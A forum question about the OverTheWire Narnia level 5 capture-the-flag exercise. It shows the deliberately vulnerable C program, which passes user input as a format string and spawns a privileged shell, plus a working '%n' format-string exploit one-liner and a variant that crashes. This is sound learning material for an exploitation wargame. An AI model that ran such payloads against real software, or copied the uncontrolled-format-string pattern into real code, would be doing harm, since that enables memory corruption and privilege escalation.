title: Need help on format string vulnerability
body: <pre><code>#include &lt;stdio.h&gt;
  #include &lt;stdlib.h&gt;
  #include &lt;string.h&gt;
  
  int main(int argc, char **argv){
      int i = 1;
      char buffer[64];
  
      snprintf(buffer, sizeof buffer, argv[1]);
      buffer[sizeof (buffer) - 1] = 0;
      printf(&quot;Change i's value from 1 -&gt; 500. &quot;);
  
      if(i==500){
          printf(&quot;GOOD\n&quot;);
          setreuid(geteuid(),geteuid());
          system(&quot;/bin/sh&quot;);
      }
  
      printf(&quot;No way...let me give you a hint!\n&quot;);
      printf(&quot;buffer : [%s] (%d)\n&quot;, buffer, strlen(buffer));
      printf (&quot;i = %d (%p)\n&quot;, i, &amp;i);
      return 0;
  }
  </code></pre>
  <p>Hi! I'm working on ctf exercise(Overthewire 5 level, Narnia). Here is the code that I've tried, but I don't understand why second option isn't working.</p>
  <p>This one works</p>
  <pre><code> ./narnia5 $(python -c 'print &quot;\xe0\xd6\xff\xff&quot; + &quot;%496x%1$n&quot;')
  </code></pre>
  <p>With this I get SegFault</p>
  <pre><code>./narnia5 $(python -c 'print &quot;\xe0\xd6\xff\xff&quot; + &quot;%496x%n&quot;')
  </code></pre>
  <p>The principle is the same in both variants, you pass the address and %n specifier reads amount of bytes passed, because address takes 4 bytes we add 496 bytes with padding. In both of them %n will read next address on the stack, as I understand. Thanks, for your answers.</p>